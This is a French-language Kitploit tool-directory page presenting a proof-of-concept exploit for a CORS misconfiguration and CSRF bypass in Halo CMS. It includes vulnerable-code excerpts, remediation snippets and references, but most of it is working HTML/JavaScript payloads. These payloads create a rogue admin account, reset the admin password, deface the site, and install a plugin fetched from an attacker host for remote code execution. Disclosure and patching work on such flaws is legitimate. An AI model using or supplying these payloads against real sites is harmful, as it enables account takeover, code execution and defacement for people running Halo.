Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
halo-cors-csrf-CVE-2026-67921 — Preuve de concept démontrant une combinaison de mauvaise configuration CORS et de contournement de la protection CSRF dans Halo CMS, permettant des attaques de falsification de requête intersite pour créer des utilisateurs administrateurs, modifier des mots de passe, installer des plugins et altérer le contenu. | Kitploit
Outils/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Voir le dépôt
il y a 16 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept démontrant une combinaison de mauvaise configuration CORS et de contournement de la protection CSRF dans Halo CMS, permettant des attaques de falsification de requête intersite pour créer des utilisateurs administrateurs, modifier des mots de passe, installer des plugins et altérer le contenu.

Partager

CVE-2026-67921 : Mauvaise configuration CORS + contournement de la protection CSRF dans Halo CMS (attaque combinée)

Résumé

Une vulnérabilité critique d'attaque combinée existe dans les versions de Halo CMS jusqu'à la 2.25.4 en raison de deux mauvaises configurations de sécurité :

  1. Mauvaise configuration CORS : La politique CORS autorise * (toute origine) avec credentials: true
  2. Contournement de la protection CSRF : Tous les points de terminaison API (/api/**, /apis/**) sont exclus de la protection CSRF

Combinées, ces failles permettent à un attaquant d'effectuer des attaques de type Cross-Site Request Forgery depuis n'importe quelle origine, contournant ainsi la protection Same-Origin Policy que CORS est censé appliquer.

Score CVSS v3.1 : 9,3 (Critique)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N CWE-352 (Cross-Site Request Forgery) + CWE-942 (Politique inter-domaines permissive) CVE-2026-67921


CWE :
ID CVE :

Versions concernées

  • Halo CMS ≤ 2.25.4
  • Toutes les versions avec CORS activé et CSRF désactivé pour les routes API

Détails de la vulnérabilité

Vulnérabilité 1 : Mauvaise configuration CORS

Fichier : application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← Toute origine
    configuration.setAllowCredentials(true);                // ← Autoriser les cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impact : N'importe quel site web peut envoyer des requêtes authentifiées à l'API de Halo avec les cookies de l'utilisateur.

Vulnérabilité 2 : Contournement de la protection CSRF

Fichier : application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Routes API exclues du CSRF !
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impact : Les requêtes API ne nécessitent pas de jetons CSRF, même lorsqu'elles sont authentifiées via des cookies de session.


Mécanisme d'attaque

Pourquoi cette combinaison est dangereuse

ProtectionSeuleCombinée
CORS *Bloque les identifiants (imposé par le navigateur)Identifiants autorisés !
Pas de CSRFProtégé par la Same-Origin PolicyContourné par CORS !
RésultatSûrCSRF complet

Le déroulement de l'attaque

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  L'attaquant héberge une page malveillante sur evil.com     │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Le navigateur de la victime visite evil.com                │
│  → Le formulaire s'envoie automatiquement à l'API Halo      │
│  → Le navigateur inclut automatiquement le cookie de session│
│  → CORS : Origine * + credentials: true → Requête autorisée !│
│  → CSRF : /apis/** exclu → Aucun jeton requis !             │
│  → La requête aboutit avec les privilèges de la victime     │
└─────────────────────────────────────────────────────────────┘

Scénarios d'exploitation

Scénario 1 : Créer un utilisateur administrateur

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Scénario 2 : Changer le mot de passe administrateur

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Scénario 3 : Installer un plugin malveillant (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Scénario 4 : Modifier le contenu du site

root@kitploit:~
<html>
<body>
<script>
  // Changer le titre du site
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Preuve de concept

Test CSRF de base

Créez csrf-test.html :

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Cette page tentera de modifier les paramètres de Halo lors de son chargement.</p>

<script>
// Test CSRF en modifiant le titre du site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCÈS ! L\'attaque CSRF a fonctionné.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Échec : ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Attaque CSRF réussie - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Étapes de vérification

  1. Ouvrez csrf-test.html dans un navigateur tout en étant connecté à Halo
  2. Vérifiez si le titre du site a changé
  3. Vérifiez dans la console du navigateur les en-têtes CORS :
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Analyse d'impact

AttaqueImpactSévérité
Créer un utilisateur adminCompromission totale du systèmeCritique
Changer le mot de passe adminPrise de contrôle du compteCritique
Installer un plugin malveillantExécution de code à distanceCritique
Modifier le contenuDéfacementÉlevée
Supprimer des donnéesPerte de donnéesÉlevée
Voler des donnéesDivulgation d'informationsÉlevée

Remédiation

Correctif 1 : Restreindre les origines CORS

root@kitploit:~
// Remplacer le caractère générique par des origines spécifiques
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Correctif 2 : Activer le CSRF pour les routes API

root@kitploit:~
// Supprimer les exclusions API du matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Correctif 3 : Utiliser l'authentification par jeton Bearer

Pour les points de terminaison API, privilégiez l'authentification par jeton Bearer plutôt que les cookies de session, qui ne sont pas vulnérables au CSRF.


Références

  • Fournisseur : https://github.com/halo-dev/halo
  • CWE-352 : https://cwe.mitre.org/data/definitions/352.html
  • CWE-942 : https://cwe.mitre.org/data/definitions/942.html

Chronologie

  • Date de découverte : 2026-07-10
Télécharger l’outil